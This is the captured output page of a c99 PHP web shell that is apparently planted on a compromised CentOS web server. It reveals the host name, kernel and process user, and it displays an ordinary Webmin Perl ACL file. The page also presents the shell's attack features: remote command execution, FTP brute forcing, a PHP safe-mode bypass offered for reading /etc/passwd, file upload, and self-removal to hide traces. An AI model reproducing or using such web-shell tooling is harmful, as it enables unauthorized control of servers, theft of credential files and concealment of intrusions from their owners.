!c99Shell v. 1.0 pre-release build #16!

Software: Apache/2.2.3 (CentOS). PHP/5.1.6 

uname -a: Linux mx-ll-110-164-51-230.static.3bb.co.th 2.6.18-194.el5PAE #1 SMP Fri Apr 2 15:37:44
EDT 2010 i686
 

uid=48(apache) gid=48(apache) groups=48(apache) 

Safe-mode: OFF (not secure)

/usr/libexec/webmin/spam/   drwxr-xr-x
Free 49.58 GB of 127.8 GB (38.8%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Feedback    Self remove    Logout    


Viewing file:     acl_security.pl (1.65 KB)      -rwxr-xr-x
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |

require 'spam-lib.pl';

# acl_security_form(&options)
# Output HTML for editing security options for the spam module
sub acl_security_form
{
# Allowed features
print "<tr> <td valign=top><b>$text{'acl_avail'}</b></td>\n";
print "<td><select name=avail rows=6 multiple>\n";
local %avail = map { $_, 1 } split(/,/, $_[0]->{'avail'});
foreach $a ('white', 'score', 'report', 'user', 'header', 'setup', 'procmail',
        'db', 'awl') {
    printf "<option value=%s %s>%s\n",
        $a, $avail{$a} ? "selected" : "", $text{$a."_title"};
    }
print "</select></td> </tr>\n";

# Config file to edit
print "<tr> <td><b>$text{'acl_file'}</b></td>\n";
print "<td>",&ui_opt_textbox("file", $_[0]->{'file'}, 40, $text{'acl_filedef'}),
      "</td> </tr>\n";

# Allowed auto-whitelist users
print "<tr> <td><b>$text{'acl_awl'}</b></td>\n";
print "<td>",&ui_radio("awl_mode", $_[0]->{'awl_groups'} ? 2 :
                    $_[0]->{'awl_users'} ? 1 : 0,
    [ [ 0, $text{'acl_awl0'}."<br>\n" ],
      [ 1, &text('acl_awl1',
        &ui_textbox("awl_users", $_[0]->{'awl_users'}, 40).
        &user_chooser_button("awl_users", 1))."<br>\n" ],
      [ 2, &text('acl_awl2',
        &ui_textbox("awl_groups", $_[0]->{'awl_groups'}, 40).
        &group_chooser_button("awl_users", 1))."<br>\n" ],
    ]),"</td> </tr>\n";
}

# acl_security_save(&options)
# Parse the form for security options for the cron module
sub acl_security_save
{
$_[0]->{'avail'} = join(",", split(/\0/, $in{'avail'}));
$_[0]->{'file'} = $in{'file_def'} ? undef : $in{'file'};
delete($_[0]->{'awl_users'});
delete($_[0]->{'awl_groups'});
if ($in{'awl_mode'} == 1) {
    $_[0]->{'awl_users'} = $in{'awl_users'};
    }
elsif ($in{'awl_mode'} == 2) {
    $_[0]->{'awl_groups'} = $in{'awl_groups'};
    }
}


:: Command execute ::

Enter:
 
Select:
 

:: Shadow's tricks :D ::

Useful Commands
 
Warning. Kernel may be alerted using higher levels
Kernel Info:

:: Preddy's tricks :D ::

Php Safe-Mode Bypass (Read Files)

File:

eg: /etc/passwd

Php Safe-Mode Bypass (List Directories):

Dir:

eg: /etc/

:: Search ::
  - regexp 

:: Upload ::
 
[ Read-Only ]

:: Make Dir ::
 
[ Read-Only ]
:: Make File ::
 
[ Read-Only ]

:: Go Dir ::
 
:: Go File ::
 

--[ c999shell v. 1.0 pre-release build #16 Modded by Shadow & Preddy | RootShell Security Group | r57 c99 shell | Generation time: 0.0096 ]--